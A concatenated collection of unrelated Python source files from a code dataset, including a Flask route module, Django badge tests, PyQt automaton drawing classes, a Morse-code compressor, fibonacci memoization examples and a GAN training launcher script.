nongraph_caption_list\n\n\n#-----------calculate semantic similarity and recommend image-----------------------\ndef semantic_similarity_module(g, init_op, embedded_text, text_input, query, nongraph_image_list, nongraph_caption_list, silence):\n try:\n query_embedding = USE_embedding(query, g, init_op, embedded_text, text_input)\n nongraph_caption_embedding = USE_embedding(nongraph_caption_list, g, init_op, embedded_text, text_input)\n DC = [[0 for x in range(len(nongraph_caption_list))] for x in range(len(query))]\n for i in range(len(query)):\n for j in range(len(nongraph_caption_list)):\n DC[i][j] = spatial.distance.cosine(query_embedding, nongraph_caption_embedding[j])\n final_image = nongraph_image_list[DC[0].index(min(DC[0]))]\n except:\n return None\n return final_image\n","sub_path":"modules/image_selection/image_selection_2019_v2.py","file_name":"image_selection_2019_v2.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"613286315","text":"\"\"\"Increase length of URL field in links table\n\nRevision ID: d4b6e9caf603\nRevises: d8506b1d5654\nCreate Date: 2019-01-08 13:54:35.393325\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd4b6e9caf603'\ndown_revision = 'd8506b1d5654'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.alter_column('links', 'url', type_=sa.String(255))\n\n\ndef downgrade():\n op.alter_column('links', 'url', type_=sa.String(125))\n","sub_path":"lambda/sfr-db-manager/alembic/versions/d4b6e9caf603_increase_length_of_url_field_in_links_.py","file_name":"d4b6e9caf603_increase_length_of_url_field_in_links_.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"26553831","text":"from flask import Flask,Blueprint,render_template,request,redirect,url_for,flash,session,jsonify\nfrom config import db,cursor\nimport os,time,bcrypt\n\ndef redirect_url(default='index'): # Redireccionamiento desde donde vino la request\n return request.args.get('next') or \\\n request.referrer or \\\n url_for(default)\n\nmod = Blueprint(\"rutas_pablo\",__name__)\n\n@mod.route(\"/pablo\",methods=[\"GET\"])\ndef principal():\n return \"OK\"\n\n\n@mod.route(\"/anadir_usuario\",methods=[\"GET\"])\ndef ver_añadir():\n return render_template(\"/pablo/añadir_usuario.html\")\n\n@mod.route(\"/anadir_usuario\",methods=[\"POST\"])\ndef añadir_usuario():\n datos_usuario=request.form.to_dict()#obtener datos del usuario en un diccionario\n print(datos_usuario)\n return 'OK'\n \n@mod.route(\"/editar_usuario/\",methods=[\"GET\",\"POST\"])\ndef editar(rut=None):\n if request.method=='GET':\n if rut:\n query=('''SELECT * FROM Usuario WHERE rut= %s''')\n cursor = db.cursor()\n cursor.execute(query, (rut,))\n resultado = cursor.fetchall()\n print(resultado[0])\n if(resultado==[]):\n return render_template(\"/pablo/editar_usuario.html\",msg='No existe ese alumno')\n elif(resultado[0][0]==rut):\n credencial= 'Alumno' if resultado[0][1]== 3 else 'Profesor' if resultado[0][1] == 2 else 'Administrador' if resultado[0][1] == 1 else None\n return render_template(\"/pablo/editar_usuario.html\",datos=resultado[0],credencial=credencial)\n else:\n return render.template(\"/pablo/editar_usuario.html\",msg='Error en el rut')\n elif request.method=='POST':\n datos_usuario=request.form.to_dict()\n \n\n \n","sub_path":"app/routes/rutas_pablo.py","file_name":"rutas_pablo.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"236793779","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.test import TestCase, override_settings\nfrom django.utils.text import slugify\nfrom badges.api_proxy import proxy\nfrom badges.models import Achievement\nfrom users.models import User\nfrom game.models import AlienHunted, GalaxyCandidate, Vote\nfrom utils import html_entities_to_unicode\n\n\ndef create_test_user(first_name, last_name):\n user = User()\n user.username = first_name.lower() + '.' + last_name.lower()\n user.first_name = first_name\n user.last_name = last_name\n user.email = user.username + '@test.com'\n user.set_password('qwerty')\n user.save()\n return user\n\n\n@override_settings(BADGES_API_APP_ID='galaxy_conqueror_test')\nclass BadgesApiTestCase(TestCase):\n\n def setUp(self):\n self.proxy = proxy\n self.achievements = self.proxy.get_achievements()\n self.badges = self.proxy.get_badges()\n self.proxy.reset()\n\n def test_achievements_amount(self):\n self.assertEqual(len(self.achievements), 10)\n\n def test_image_url(self):\n pattern = \"https://cientopolis.lifia.info.unlp.edu.ar/galaxy-conqueror/badges/images/%s.png\"\n for a in self.achievements:\n self.assertEqual(a['imageUrl'], pattern % slugify(html_entities_to_unicode(a['name'])))\n\n def test_criteria_url(self):\n pattern = \"https://cientopolis.lifia.info.unlp.edu.ar/galaxy-conqueror/badges/%s\"\n for a in self.achievements:\n self.assertEqual(a['criteriaUrl'], pattern % slugify(html_entities_to_unicode(a['name'])))\n\n def test_criteria_array_length(self):\n for a in self.achievements:\n self.assertEqual(len(a['criteria']), 5)\n\n def test_criteria_fields(self):\n criteria_descriptions = [\n \"points earned required\",\n \"aliens hunted required\",\n \"votes required\",\n \"galaxies marked required\",\n \"galaxies discovered required\",\n ]\n for a in self.achievements:\n for i, c in enumerate(a['criteria']):\n self.assertIn('id', c)\n self.assertIn('description', c)\n self.assertIn('required', c)\n self.assertIn('note', c)\n self.assertEqual(c['description'], criteria_descriptions[i])\n\n def test_description(self):\n for a in self.achievements:\n self.assertIn('description', a)\n\n def test_names(self):\n names = [html_entities_to_unicode(a['name']) for a in self.achievements]\n names.sort()\n self.assertEqual(names, [\n \"Cadete espacial\",\n \"Conquistador galáctico\",\n \"Corsario galáctico\",\n \"Cosmonauta destacado\",\n \"Emperador galáctico\",\n \"Escudero estelar\",\n \"Explorador estelar de élite\",\n \"Explorador habilidoso\",\n \"Explorador principiante\",\n \"Observador nato\",\n ])\n\n def test_id_badge_classes_uniqueness(self):\n ids = [a['id_badge_class'] for a in self.achievements]\n self.assertEqual(len(set(ids)), 10)\n\n def test_there_are_no_badges(self):\n self.assertEqual(len(self.badges), 0)\n self.assertEqual(self.proxy.badge_is_own_by_user('1', 'fake@mail.com'), {\n 'issuedOn': None,\n })\n\n def count_user_achievements(self, email):\n return len(self.proxy.get_achievements_by_user(email)[email])\n\n def test_achievements_acquisition(self):\n email = 'batman@test.com'\n id_ = self.achievements[0]['id_badge_class']\n\n self.assertIsNone(self.proxy.achievement_is_own_by_user(id_, email)['issuedOn'])\n self.assertEqual(self.count_user_achievements(email), 0)\n\n self.proxy.create_achievement_acquisition(id_, email)\n\n self.assertEqual(self.count_user_achievements(email), 1)\n self.assertIsNotNone(self.proxy.achievement_is_own_by_user(id_, email)['issuedOn'])\n\n self.proxy.create_achievement_acquisition(id_, email)\n\n self.assertEqual(self.count_user_achievements(email), 1)\n self.assertIsNotNone(self.proxy.achievement_is_own_by_user(id_, email)['issuedOn'])\n\n def test_achievements_by_user(self):\n email = 'batman@test.com'\n id_1 = self.achievements[0]['id_badge_class']\n id_2 = self.achievements[1]['id_badge_class']\n\n self.assertEqual(self.count_user_achievements(email), 0)\n\n self.proxy.create_achievement_acquisition(id_1, email)\n self.proxy.create_achievement_acquisition(id_2, email)\n\n user_achievements = self.proxy.get_achievements_by_user(email)\n\n self.assertEqual(self.count_user_achievements(email), 2)\n\n self.assertEqual(len(user_achievements), 1)\n self.assertIn(email, user_achievements)\n ids = set()\n for a in user_achievements[email]:\n ids.add(a['id_badge_class'])\n self.assertIn('id_badge_class', a)\n self.assertIn('name', a)\n self.assertIn('issuedOn', a)\n self.assertEqual(len(a), 3)\n self.assertEqual(ids, {id_1, id_2})\n\n\n@override_settings(BADGES_API_APP_ID='galaxy_conqueror_test')\nclass AchievementsTestCase(TestCase):\n\n def setUp(self):\n self.proxy = proxy\n self.proxy.reset()\n Achievement.update()\n self.user = create_test_user('Jimmy', 'Test')\n self.other_user = create_test_user('Johnny', 'Test')\n self.admin = create_test_user('Admin', 'Test')\n self.admin.is_staff = True\n self.admin.save()\n self.achs = sorted(Achievement.all())\n\n def assert_level(self, level):\n if level > 1:\n self.assertFalse(self.achs[level - 1].is_deserved_by(self.user))\n self.assertFalse(self.achs[level - 1].is_own_by(self.user))\n else:\n self.assertTrue(self.achs[level - 1].is_deserved_by(self.user))\n self.assertTrue(self.achs[level - 1].is_own_by(self.user))\n self.assertEqual(len(self.user.get_achievements()), 1)\n\n for i in xrange(self.achs[level - 1].votes_required):\n self.vote(i)\n\n for i in xrange(self.achs[level - 1].galaxies_marked_required):\n self.mark_galaxy(i)\n\n for i in xrange(self.achs[level - 1].galaxies_discovered_required):\n self.conquer_galaxy(i)\n\n for i in xrange(self.achs[level - 1].aliens_hunted_required):\n self.hunt(i)\n\n self.earn_points(self.achs[level - 1].points_earned_required)\n\n self.assertTrue(self.achs[level - 1].is_deserved_by(self.user))\n self.assertTrue(self.achs[level - 1].is_own_by(self.user))\n self.assertEqual(len(self.user.get_achievements()), level)\n\n def test_level_1(self):\n self.assert_level(1)\n\n def test_level_2(self):\n self.assert_level(2)\n\n def test_level_3(self):\n self.assert_level(3)\n\n def test_level_4(self):\n self.assert_level(4)\n\n def test_level_5(self):\n self.assert_level(5)\n\n def test_level_6(self):\n self.assert_level(6)\n\n def test_level_7(self):\n self.assert_level(7)\n\n def test_level_8(self):\n self.assert_level(8)\n\n def test_level_9(self):\n self.assert_level(9)\n\n def test_level_10(self):\n self.assert_level(10)\n\n def vote(self, i):\n galaxy = GalaxyCandidate.objects.create(owner=self.other_user, x=i * 1000, y=i * 1000)\n Vote.objects.create(\n galaxy_candidate=galaxy,\n owner=self.user,\n is_positive=i % 2 == 0,\n )\n\n def hunt(self, i):\n AlienHunted.objects.create(hunter=self.user, x=i * 1000, y=i * 1000)\n\n def mark_galaxy(self, i):\n GalaxyCandidate.objects.create(owner=self.user, x=i * 1000, y=i * 1000)\n\n def conquer_galaxy(self, i):\n galaxy = GalaxyCandidate.objects.create(owner=self.user, x=i * 1000, y=i * 1000)\n galaxy.confirm(self.admin)\n\n def earn_points(self, score):\n self.user.score = score\n self.user.save()\n\n def test_order(self):\n # chequeo que los niveles tengan sentido y sean incrementales\n # otra manera de verlo es que el orden en que se puede obtener debe ser determinístico,\n # es decir que hay un solo orden posible de obtención de insignias\n # de esta forma, dadas dos insignias cualquiera, sus valores requeridos deben ser todos\n # menores o iguales entre sí o todos mayores o iguales entre sí\n # un ejemplo del caso no deseado sería el siguiente:\n # para una insignia cualquiera A se requiren, entre otras cosas, 10 galaxias y 0 votos\n # mientras que para otras se requiren 0 galaxias y 10 votos\n # el orden en que se obtengan no será fijo y dependerá de el orden en que los usuarios hagan\n # las cosas\n for a1 in self.achs:\n for a2 in self.achs:\n attrs = zip(a1._criteria_tuple(), a2._criteria_tuple())\n self.assertTrue(all(a1_attr <= a2_attr for a1_attr, a2_attr in attrs) or\n all(a1_attr >= a2_attr for a1_attr, a2_attr in attrs))\n\n self.assertEqual([a.name for a in self.achs], [\n 'Explorador principiante',\n 'Escudero estelar',\n 'Cadete espacial',\n 'Explorador habilidoso',\n 'Observador nato',\n 'Cosmonauta destacado',\n 'Corsario galáctico',\n 'Explorador estelar de élite',\n 'Conquistador galáctico',\n 'Emperador galáctico',\n ])\n","sub_path":"galaxy_conqueror/apps/badges/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"625091449","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom math import radians, tan\n\nclass SemiCircularConveyorBelt:\n\n\n\n def __init__(self, radius, n_projs, src_dist, det_dist, fan_beam_angle):\n\n alpha = np.linspace(radians(60),radians(120), n_projs)\n\n srcX = (src_dist+radius)-(np.sin(alpha)*radius)\n srcY = - np.cos(alpha)*radius\n\n dx = (radius-det_dist) - np.sin(alpha)*radius\n dy = - np.cos(alpha)*radius\n\n ux = np.cos(-alpha)\n uy = np.sin(-alpha)\n\n self.geometry_matrix = np.column_stack((srcX, srcY, dx, dy, ux, uy))\n\n rad = radians(fan_beam_angle/2)\n self.det_size = int(2*(tan(rad)*(radius+src_dist+det_dist)))\n\n\n def get_geometry_matrix(self):\n\n return self.geometry_matrix\n\n\n def get_det_size(self):\n\n return self.det_size\n\n\n\nif __name__ == \"__main__\":\n g = SemiCircularConveyorBelt(15, 45, 5, 5, 30)\n\n alphas = np.linspace(0.1,1,45)\n rgba_colors_red = np.zeros((45,4))\n rgba_colors_red[:,0] = 1.0\n rgba_colors_red[:, 3] = alphas\n\n rgba_colors_blue = np.zeros((45,4))\n rgba_colors_blue[:,2] = 1.0\n rgba_colors_blue[:, 3] = alphas\n\n rgba_colors_green = np.zeros((45,4))\n rgba_colors_green[:,1] = 1.0\n rgba_colors_green[:, 3] = alphas\n\n plt.figure()\n plt.scatter(g.srcX, g.srcY, color=rgba_colors_red)\n plt.scatter(g.dx, g.dy, color=rgba_colors_green)\n plt.scatter(g.ux, g.uy, color=rgba_colors_blue)\n plt.show()\n\n\n\n\n\n\n\n","sub_path":"semi_circ_conveyor_belt_2D.py","file_name":"semi_circ_conveyor_belt_2D.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"129753438","text":"# Here's my example:\n\nn = 4\n\n# I created a function to evaluate\n# n_th fibonacci number:\n\n# n = 4\n\n\ndef fibonacci(n):\n if n < 2:\n return n\n\n return fibonacci(n-1)+fibonacci(n-2)\n\n\nevaluation = fibonacci(n)\nprint(f'{n}th fibonacci number: {evaluation}')\n\n# And it works fine, but\n# there's some redundant evaluations:\n\nr\"\"\"\nLet's see tree stack for 4th fibonacci number:\n\n\n f4\n / \\\n / \\\n f3 f2\n / \\ / \\\n f2 f1 f0 f1\n / \\\n f1 f0\n\nIn the end we have 4 redundant evaluations!\n\"\"\"\n\n\n# So I can crate a dictionary, for previously\n# evaluated f(n_tn) by using decorator @cache:\n\n\ndef cache(function):\n def wrapper(*args):\n if n not in wrapper.cache:\n wrapper.cache[args] = function(*args)\n return wrapper.cache[args]\n\n wrapper.cache = dict()\n return wrapper\n\n\n@cache\ndef fibonacci(n):\n if n < 2:\n return n\n\n return fibonacci(n-1)+fibonacci(n-2)\n\n\nr\"\"\"\nLet's see tree stack for 4th fibonacci number cached:\n\n\n f4\n / \n f3 \n / \n f2 \n / \\\n f1 f0\n\nNow we evaluate only 4 times!\n\"\"\"\n\n\nevaluation = fibonacci(n)\nprint(f'{n}th fibonacci number: {evaluation}, cache: {fibonacci.cache}')\n\n\n# P.S.\n# I know there's a better way to solve\n# this problem by using dynamic solution:\n\n\ndef fibonacci(n):\n f1, f2 = 0, 1\n counter = 0\n for i in range(n):\n counter += 1\n f2, f1 = f1+f2, f2\n\n return f1, counter\n\n\nfibonacci(n)\nprint(f'{n}th fibonacci number in dynamic solution: {fibonacci(n)[0]}, counter: {fibonacci(n)[1]}')\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"222711111","text":"from PyQt4 import QtGui,QtCore\nimport sys\nimport os\nfrom math import pi,sin,cos,atan\n\ndef main():\n print(\"main etat\")\n\nif __name__ == '__main__':\n main()\n\n\nclass Transition(QtGui.QGraphicsItemGroup):\n def __init__(self,etat_initial,etat_final,lettre):\n super(Transition,self).__init__(None)\n\n self.lettre = lettre\n\n self.depart = etat_initial\n self.arrivee = etat_final\n \n self.dessiner_fleche()\n\n def dessiner_fleche(self):\n\n self.style_ligne = QtGui.QPen()\n self.style_ligne.setWidth(2)\n self.font = QtGui.QFont(\"Arial\",14)\n\n if self.lettre == \"\":\n self.lettre = \"ε\"\n self.texte_fleche = QtGui.QGraphicsSimpleTextItem(self.lettre)\n\n if self.depart == self.arrivee:\n self.dessiner_fleche_circulaire(self.depart)\n else:\n geometrie_droite = self.calculer_droite(self.depart,self.arrivee) \n self.dessiner_fleche_droite(geometrie_droite)\n\n self.fleche.setPen(self.style_ligne)\n self.tete1.setPen(self.style_ligne)\n self.tete2.setPen(self.style_ligne)\n self.texte_fleche.setFont(self.font) \n\n self.addToGroup(self.fleche)\n self.addToGroup(self.tete1)\n self.addToGroup(self.tete2)\n self.addToGroup(self.texte_fleche)\n\n def dessiner_fleche_circulaire(self,etat):\n ## corps de la fleche \n self.fleche = QtGui.QGraphicsEllipseItem(etat.position_externe_x,\\\n etat.position_externe_y - etat.diametre/2.,\\\n etat.diametre,etat.diametre) \n self.fleche.setStartAngle(-16*30) \n self.fleche.setSpanAngle(16*240)\n \n ## tete de la fleche\n tete_initial_x = etat.centre_x + etat.diametre/2.*cos(pi/6.)\n tete_initial_y = etat.centre_y - etat.diametre/2.*sin(pi/6.)\n inclination = -pi/3\n self.dessiner_tete_fleche(tete_initial_x,tete_initial_y,inclination)\n\n # texte de la fleche\n position_texte_x = etat.centre_x\n position_texte_y = etat.centre_y - 1.5*etat.diametre\n self.texte_fleche.setPos(position_texte_x,position_texte_y)\n\n def dessiner_fleche_droite(self,geometrie_droite): \n ## corps de la fleche \n self.fleche = QtGui.QGraphicsLineItem(geometrie_droite[0],geometrie_droite[1],\\\n geometrie_droite[2],geometrie_droite[3])\n\n # tete de la fleche\n inclination = geometrie_droite[4]+pi\n tete_initial_x = geometrie_droite[2]\n tete_initial_y = geometrie_droite[3]\n self.dessiner_tete_fleche(tete_initial_x,tete_initial_y,inclination)\n\n # texte de la fleche\n position_texte_x = 0.5*(geometrie_droite[0] + geometrie_droite[2]) +\\\n 20*cos(inclination+pi/2)\n position_texte_y = 0.5*(geometrie_droite[1] + geometrie_droite[3]) +\\\n 20*sin(inclination+pi/2)\n self.texte_fleche.setPos(position_texte_x,position_texte_y)\n\n\n def dessiner_tete_fleche(self,tete_initial_x,tete_initial_y,inclination):\n\n longueur_tete = 15\n ouverture_tete = pi/6\n\n tete_final_x_1 = tete_initial_x +\\\n longueur_tete*cos(inclination+ouverture_tete)\n tete_final_y_1 = tete_initial_y +\\\n longueur_tete*sin(inclination+ouverture_tete)\n tete_final_x_2 = tete_initial_x +\\\n longueur_tete*cos(inclination-ouverture_tete)\n tete_final_y_2 = tete_initial_y +\\\n longueur_tete*sin(inclination-ouverture_tete) \n \n self.tete1 = QtGui.QGraphicsLineItem(tete_initial_x,tete_initial_y,\\\n tete_final_x_1,tete_final_y_1)\n self.tete2 = QtGui.QGraphicsLineItem(tete_initial_x,tete_initial_y,\\\n tete_final_x_2,tete_final_y_2)\n\n def calculer_droite(self,etat_initial,etat_final):\n geometrie = []\n if etat_final.centre_x == etat_initial.centre_x:\n inclination = pi/2.\n else:\n inclination = atan((etat_final.centre_y - etat_initial.centre_y)/ \\\n (etat_final.centre_x - etat_initial.centre_x))\n if etat_final.centre_x < etat_initial.centre_x:\n inclination = inclination + pi\n\n geometrie.append(etat_initial.centre_x + \\\n etat_initial.diametre/2 * cos(inclination)) #x_initial\n geometrie.append(etat_initial.centre_y + \\\n etat_initial.diametre/2 * sin(inclination)) #y_initial\n geometrie.append(etat_final.centre_x + \\\n etat_final.diametre/2 * cos(inclination + pi)) #x_final\n geometrie.append(etat_final.centre_y + \\\n etat_final.diametre/2 * sin(inclination + pi)) #y_final\n geometrie.append(inclination)\n\n return geometrie\n\n\nclass Etat(QtGui.QGraphicsItemGroup):\n def __init__(self,etiq,final):\n super(Etat,self).__init__(None)\n \n self.etiquette = etiq\n self.coleur = QtGui.QBrush(QtCore.Qt.gray)\n self.diametre = 10\n self.position_initial_x = 0\n self.position_initial_y = 0\n self.position_x = 0\n self.position_y = 0\n self.est_final = final\n self.graphe = [] #identifier l'instance de Graphe que contient l'etat \n self.niveau_graphe = 1 #profondeur de l'etat dans le graphe \n\n def construire_etat(self):\n self.setFlag(QtGui.QGraphicsItem.ItemIsMovable,True)\n self.setCursor(QtCore.Qt.OpenHandCursor)\n self.definir_configurations_graphiques()\n self.dessiner_cercle()\n\n #### ITERACTIONS AVEC LA SOURIS\n\n## faire bouger l'etat\n def mousePressEvent(self, e):\n e.accept()\n self.setCursor(QtCore.Qt.ClosedHandCursor)\n graphe = self.graphe[0]\n for fleche in graphe.fleches:\n graphe.removeItem(fleche)\n\n## placer l'etat\n def mouseReleaseEvent(self, e): \n e.accept()\n self.setCursor(QtCore.Qt.OpenHandCursor)\n self.actualiser_geometrie()\n self.graphe[0].placer_fleches()\n\n ### DESSINER FIGURE \n def definir_configurations_graphiques(self):\n #Proprietes des cercles\n self.centre_x = self.position_x\n self.centre_y = self.position_y\n## cercle_exterieur\n self.position_externe_x = self.centre_x - self.diametre/2. #coin gauche supérieur\n self.position_externe_y = self.centre_y - self.diametre/2.\n## cercle_interieur\n self.position_interne_x = self.centre_x - .9*self.diametre/2.\n self.position_interne_y = self.centre_y - .9*self.diametre/2.\n\n #proprietes des etiquettes\n taille_font = .5*self.diametre\n self.font = QtGui.QFont(\"Arial\",-1)\n self.font.setPixelSize(taille_font)\n taille_texte = len(self.etiquette)*taille_font\n self.position_texte_x = self.position_externe_x + self.diametre/2-taille_texte/4\n self.position_texte_y = self.position_externe_y + self.diametre/2-taille_font/2\n\n\n## identifier la nouvelle position du etat et actualiser ses variables\n def actualiser_geometrie(self):\n self.position_x = self.position_initial_x + self.x()\n self.position_y = self.position_initial_y + self.y()\n self.definir_configurations_graphiques()\n\n## Pour l'affichage de la solution\n def actualiser_coleur(self):\n self.cercle_ext.setBrush(self.coleur)\n if self.est_final:\n self.cercle_int.setBrush(self.coleur)\n\n##\n def dessiner_cercle(self):\n self.cercle_ext = QtGui.QGraphicsEllipseItem(QtCore.QRectF(\\\n self.position_externe_x,self.position_externe_y,\\\n self.diametre,self.diametre))\n self.cercle_ext.setBrush(self.coleur)\n self.cercle_ext.setOpacity(0.3)\n self.cercle_ext.setAcceptHoverEvents(True)\n self.addToGroup(self.cercle_ext)\n \n ## etat final --> deux cercles\n if self.est_final: \n self.cercle_int = QtGui.QGraphicsEllipseItem(QtCore.QRectF(\\\n self.position_interne_x,self.position_interne_y,\\\n .9*self.diametre,.9*self.diametre))\n self.cercle_int.setBrush(self.coleur)\n self.cercle_int.setOpacity(0.2)\n self.addToGroup(self.cercle_int)\n\n self.texte = QtGui.QGraphicsSimpleTextItem(self.etiquette)\n self.texte.setPos(self.position_texte_x,self.position_texte_y)\n self.texte.setFont(self.font)\n self.texte.setAcceptHoverEvents(False)\n self.addToGroup(self.texte)\n\n","sub_path":"classeetattransition.py","file_name":"classeetattransition.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"363028001","text":"#coding:utf-8\n\n_HALF_SPACE = \" \"\n_DOUBLE_SPACE = \" \"\n_DOT = \"・\"\n_DASH = \"-\"\n_ZERO = str(0)\n_ONE = str(1)\n\ndef get_morse_code():\n with open(\"./morse_code.txt\", \"r\") as f:\n read_data = f.read()\n split_new_line = read_data.split(\"\\n\")\n morse_dict = {}\n for word in split_new_line:\n if not len(word) == 0:\n split_comma = word.split(\",\")\n morse_dict[split_comma[0]] = split_comma[1]\n return morse_dict\n\ndef alphabet_to_morse(text, morse_code, delimiter=_HALF_SPACE):\n text_list = text.split(delimiter)\n morse_text = \"\"\n\n for ti in range(len(text_list)):\n for tj in range(len(text_list[ti])):\n word = text_list[ti][tj]\n lower_word = word.lower()\n morse_text += morse_code[lower_word]\n if not tj == len(text_list[ti])-1:\n morse_text += _HALF_SPACE\n if not ti == len(text_list)-1:\n morse_text += _DOUBLE_SPACE\n return morse_text\n\ndef morse_to_bit(morse):\n result = \"\"\n flag = False\n for code in morse:\n if code == _HALF_SPACE:\n result += _ZERO*3\n flag = False\n elif code == _DOUBLE_SPACE:\n result += _ZERO*7\n flag = False\n elif code == _DOT:\n if flag:\n result += _ZERO\n result += _ONE\n flag = True\n elif code == _DASH:\n if flag:\n result += _ZERO\n result += _ONE*3\n flag = True\n return result\n\ndef dictionary_compression_bit_morse(bit_morse):\n result = \"\"\n zero_count = 0\n one_count = 0\n for bi in bit_morse:\n if bi == _ZERO:\n if one_count > 0:\n result += _ONE + str(one_count)\n one_count = 0\n zero_count += 1\n elif bi == _ONE:\n if zero_count > 0:\n result += _ZERO + str(zero_count)\n zero_count = 0\n one_count += 1\n return result\n\ndef counter(dc_bit_morse):\n counter_dict = {}\n for di in range(0, len(dc_bit_morse), 2):\n key = dc_bit_morse[di] + dc_bit_morse[di+1]\n if key in counter_dict:\n counter_dict[key] += 1\n else:\n counter_dict[key] = 0\n # print(counter_dict)\n return counter_dict\n\ndef get_sorted_counter_dict_list(counter_dict):\n sorted_list = {}\n count = 0\n for key, value in sorted(counter_dict.items(), key=lambda x:x[1], reverse=True):\n buf = {}\n buf[\"value\"] = value\n buf[\"sign\"] = count\n sorted_list[key] = buf\n count += 1\n return sorted_list\n\ndef replace_by_sign(dc_bit_morse, sorted_list):\n result = \"\"\n for di in range(0, len(dc_bit_morse), 2):\n di_key = dc_bit_morse[di] + dc_bit_morse[di+1]\n value_and_sign = sorted_list[di_key]\n result += str(value_and_sign[\"sign\"])\n print(result)\n\nif __name__ == '__main__':\n print('start application')\n morse_code = get_morse_code()\n alphabet_morse = alphabet_to_morse(\"abc d\", morse_code)\n print(alphabet_morse)\n bit_morse = morse_to_bit(alphabet_morse)\n print(bit_morse)\n dc_bit_morse = dictionary_compression_bit_morse(bit_morse)\n print(dc_bit_morse)\n counter_dict = counter(dc_bit_morse)\n print(counter_dict)\n sorted_list = get_sorted_counter_dict_list(counter_dict)\n print(sorted_list)\n replace_by_sign(dc_bit_morse, sorted_list)\n","sub_path":"MorseCode/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"54093667","text":"import os\nimport argparse\n\ndef main(ops):\n\tif ops.train:\n\t\tos.system(\"python train.py \\\n\t\t\t--dataroot ./datasets/lol/final_dataset \\\n\t\t\t--no_dropout \\\n\t\t\t--name enlightening \\\n\t\t\t--model single \\\n\t\t\t--dataset_mode unaligned \\\n\t\t\t--which_model_netG sid_unet_resize \\\n\t\t\t--which_model_netD no_norm_4 \\\n\t\t\t--patchD \\\n\t\t\t--patch_vgg \\\n\t\t\t--patchD_3 5 \\\n\t\t\t--n_layers_D 5 \\\n\t\t\t--n_layers_patchD 4 \\\n\t\t\t--fineSize 320 \\\n\t\t\t--patchSize 32 \\\n\t\t\t--skip 1 \\\n\t\t\t--batchSize 32 \\\n\t\t\t--self_attention \\\n\t\t\t--use_norm 1 \\\n\t\t\t--use_wgan 0 \\\n\t\t\t--use_ragan \\\n\t\t\t--hybrid_loss \\\n\t\t\t--times_residual \\\n\t\t\t--instance_norm 0 \\\n\t\t\t--vgg 1 \\\n\t\t\t--vgg_choose relu5_1 \\\n\t\t\t--gpu_ids 0\\\n\t\t\t--display_port=\" + ops.port)\n\n\telif ops.predict:\n\t\tfor i in range(1):\n\t\t\t\tos.system(\"python predict.py \\\n\t\t\t\t\t--dataroot D:/sangkny/pyTest/MLDL/codes/enlightenGAN/datasets/lol/test_data \\\n\t\t\t\t\t--name enlightening \\\n\t\t\t\t\t--model single \\\n\t\t\t\t\t--which_direction AtoB \\\n\t\t\t\t\t--no_dropout \\\n\t\t\t\t\t--dataset_mode unaligned \\\n\t\t\t\t\t--which_model_netG sid_unet_resize \\\n\t\t\t\t\t--skip 1 \\\n\t\t\t\t\t--use_norm 1 \\\n\t\t\t\t\t--use_wgan 0 \\\n\t\t\t\t\t--self_attention \\\n\t\t\t\t\t--times_residual \\\n\t\t\t\t\t--instance_norm 0 --resize_or_crop='no'\\\n\t\t\t\t\t--which_epoch \" + str(200 - i*5))\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--port\", type=str, default=\"8097\")\n\tparser.add_argument(\"--train\", action='store_true')\n\tparser.add_argument(\"--predict\", action='store_true')\n\topt = parser.parse_args()\n\t# opt.train = True\n\tmain(opt)","sub_path":"scripts/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417341145","text":"#!/usr/bin/python3\n\ndef base_for():\n fruits = [dict(name='banana'), dict(name='apple'), dict(name='mango')]\n for fruit in fruits:\n print(str(fruit))\n\ndef newNumeralSystem(number):\n S = ('A', 'B', 'C', 'D', 'E', 'F', 'G',\n 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\n 'V', 'W', 'X', 'Y', 'Z')\n O = []\n number_int = 0\n for i in range(0, 26):\n if S[i] == number:\n number_int = i\n break\n\n print(number_int)\n if number_int < 0:\n return\n else:\n for i in range(0, int(number_int/2) + 1):\n O.append(S[i] + \" + \" + S[number_int-i])\n return O\n\nif __name__ == \"__main__\":\n base_for()\n print(newNumeralSystem('G'))\n\n","sub_path":"python/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"432492794","text":"def selection_sort(nums):\n for i in range(len(nums)-1):\n for j in range(i+1, len(nums), 1):\n if nums[i] > nums[j]:\n swap(nums, i, j)\n return nums\n\ndef swap(nums, i, j):\n temp= nums[i]\n nums[i] = nums[j]\n nums[j] = temp\n\nnums = [9, 8,7,6,5,2,1,0,-3,-9,-19]\nprint(selection_sort(nums))\n##--complexity is O(n2)","sub_path":"Map_Udacity/Arrays/searching and sorting/Selection sort.py","file_name":"Selection 